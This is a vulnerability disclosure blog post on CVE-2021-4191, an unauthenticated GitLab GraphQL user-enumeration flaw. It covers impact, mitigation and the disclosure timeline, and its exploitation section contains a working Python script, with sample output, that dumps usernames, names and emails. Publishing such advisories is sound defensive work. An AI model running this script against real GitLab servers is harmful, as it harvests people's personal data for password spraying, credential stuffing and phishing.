CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)
Discription

![CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)](https://blog.rapid7.com/content/images/2022/03/gitlab-vuln.jpg)

On February 25, 2022, GitLab [published a fix]() for CVE-2021-4191, which is an instance of [CWE-359](), “Exposure of Private Personal Information to an Unauthorized Actor.” The now-patched vulnerability affected GitLab versions since 13.0. The vulnerability is the result of a missing authentication check when executing certain GitLab GraphQL API queries. A remote, unauthenticated attacker can use this vulnerability to collect registered GitLab usernames, names, and email addresses. Our initial CVSSv3 base score assessment for this issue is [5.3]().

A Metasploit module is [available](), and we expect this to be exploited in the wild for information gathering and username list generation. The impact of the exploit alone is likely to be negligible, but could be impactful in conjunction with brute force password guessing and [credential stuffing]() attacks.

## Credit

This issue was discovered and reported by [Jake Baines](), senior security researcher, as part of [Rapid7’s vulnerability disclosure program]().

## Impact

The GitLab GraphQL API information leak allows a remote, unauthenticated attacker to recover usernames, names, and sometimes email addresses. On the face of it, that sounds very low-stakes. However, [account discovery is a MITRE ATT&CK technique]() for a reason. Collecting a list of valid user accounts is the first step to a variety of brute-force attacks, such as [password guessing](), [password spraying](), and [credential stuffing]().

These kinds of attacks may seem unsophisticated, but they work. The technique has been utilized by very successful malware/groups including [Emotet](), [Fancy Bear](), and [Nobelium]().

The open-source offensive security community has also invested a lot of time creating brute-forcing tools, which again reinforces that brute-forcing is a viable attack in the wild. Open-source brute-forcing tools such as [ncrack](), [Patator](), [CrackMapExec](), and [THC-Hydra]()

implement attacks that use lists of usernames provided by the attacker. The GitLab GraphQL API information outputs valid usernames. Thus, this vulnerability and the existing tools complement each other.

While attackers can always use one of the [popular]() [wordlists]() that contain known usernames, a brute-force attack increases its chances of [success]() by leveraging known valid usernames for the attacked organization.

The information leak also potentially allows an attacker to create a new username wordlist based on GitLab installations — not just from gitlab.com but also from the other 50,000 GitLab instances that can be reached from the internet.

![CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)](https://blog.rapid7.com/content/images/2022/03/image2-1.png)

Such a wordlist wouldn’t be unprecedented. In 2021, Clubhouse exposed an API that allowed unauthenticated users to enumerate the Clubhouse user base. Attackers used the API and combined the data into a [single database]() they then posted to a hacking forum for anyone to use.

Note, this isn’t the first time GitLab has leaked similar details from an API. Back in 2015, MWR Infosecurity [published a blog]() and an unauthenticated, remote [Metasploit module]() that enumerated user accounts using the `/api/v3/internal/discover?key_id=` API.

## Exploitation

After consulting with the GitLab engineering team, we have confirmed the issue was first introduced in GitLab 13.0.

The vulnerable endpoint is `/api/graphql`. The [GitLab documentation]() states that a personal access token is used for authentication, shown below.

![CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)](https://blog.rapid7.com/content/images/2022/03/image1-1.png)

However, not all requests to the endpoint require authentication. A good place to test this from is GitLab’s `/-/graphql-explorer` endpoint. In the image below, a GraphQL request for the ID, name, and username of all users can be found on the left, and the response is on the right.

![CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)](https://blog.rapid7.com/content/images/2022/03/image3-1.png)

More than just the ID, name, and username can be requested. Below, you’ll find a more complete list of the information an unauthenticated, remote attacker can exfiltrate.

![CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)](https://blog.rapid7.com/content/images/2022/03/image4-1.png)

The following Python script will print a CSV containing the discovered IDs, usernames, names, email addresses, and if the user is a bot.

###
# Dumps GitLab’s user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description=’A tool for dumping a GitLab userbase via GraphQL’)
top_parser.add_argument(‘–rurl’, action=”store”, dest=”rurl”, required=True, help=”The remote URL to send the requests to”)
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = “””query
{
users”””
query_paging_info = “”
query_payload = “””
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
“””

more_data = True

print(“id,username,name,publicEmail,bot”)
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if “errors” in json_data:
print(“Received error in response. Exiting. “)
print(json.dumps(json_data))
sys.exit(0)

for user in json_data[“data”][“users”][“nodes”]:
print(user[“id”] + “,” + user[“username”] + “,” + user[“name”] + “,” + user[“publicEmail”] + “,” + str(user[“bot”]))

if json_data[“data”][“users”][“pageInfo”][“hasNextPage”] == True:
query_paging_info = “(after:”” + json_data[“data”][“users”][“pageInfo”][“startCursor”] + “”)”
else:
more_data = False

Sample output from the above follows:

albinolobster@ubuntu:~$ python3 gitlab_enum.py –rurl https://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,[email protected],False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

Beyond building username lists for credential attacks, threat actors can use the information to start discovering affected users’ other social media accounts and contacts. This can be accomplished by querying individual GitLab profile pages or simply cross-referencing usernames, names, and email addresses with other sources. This type of information-gathering allows attackers to launch more sophisticated phishing attacks.

## Mitigation

Unless you intend to offer GitLab as a general public resource accessible by anyone, ensure your GitLab instance is not reachable from the internet. Of course, we also urge users to patch their GitLab server instances to the latest versions (14.8.2, 14.7.4, and 14.6.5). Disabling public profiles is also a good general mitigation against unauthenticated information gathering.

To disable public profiles go to the Admin Area -> General -> Visibility and access controls -> Restricted visibility levels. Then check the box next to “Public”. This should prevent anyone who isn’t logged in from seeing user profiles.

## Disclosure timeline

* **November 2021:** Initial discovery and confirmation by [Jake Baines]() of Rapid7
* **Thu, Nov 18, 2021:** Initial contact to GitLabs
* **Tue, Nov 23, 2021:** Issue #1408214 opened with GitLabs with full technical details provided
* **Mon, Jan 17, 2022: **Vendor indicated a fix is forthcoming, after a number of status updates through November and December
* **Tue, Feb 8, 2022: **Fix prepared, tested, and ready for release in the next security update
* **Fri, Feb 25, 2022:** [Patch released]() for CVE-2021-4191
* **Tue, Mar 1, 2022:** Metasploit Module [PR#16252]() submitted for CVE-2021-4191
* **Thu, Mar 3, 2022:** Public disclosure (this document) for CVE-2021-4191

#### NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

SubscribeRead More

Back to Main

Subscribe for the latest news: